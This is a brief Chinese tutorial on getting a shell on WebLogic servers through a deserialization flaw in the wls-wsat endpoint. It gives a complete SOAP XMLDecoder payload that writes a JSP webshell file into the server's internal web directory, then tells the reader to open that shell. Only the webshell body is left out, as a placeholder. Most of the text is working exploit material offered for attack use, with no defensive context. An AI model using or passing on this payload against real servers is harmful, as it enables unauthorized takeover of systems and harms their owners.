【实战】Weblogic反序列化Getshell

1、访问http://x.x.x.x:7001/wls-wsat/CoordinatorPortType

2、加入Content-Type:text/xml

3、在body中放入payload：

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">       <java><java version="1.4.0" class="java.beans.XMLDecoder">           <object class="java.io.PrintWriter">               <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/pan.jsp</string><void method="println">                    <string><![CDATA[`此处放马（因为马的代码量太长顾不在此处展示ps:此处上传的不要带有中文要不会报错，可删掉中文上传，也可进行编码处理）`]]></string></void><void method="close"/>           </object>       </java>     </java>   </work:WorkContext> </soapenv:Header><soapenv:Body/></soapenv:Envelope> 

4、访问http://xx.xx.xx.xx:7001/bea_wls_internal/pan.jsp?o=index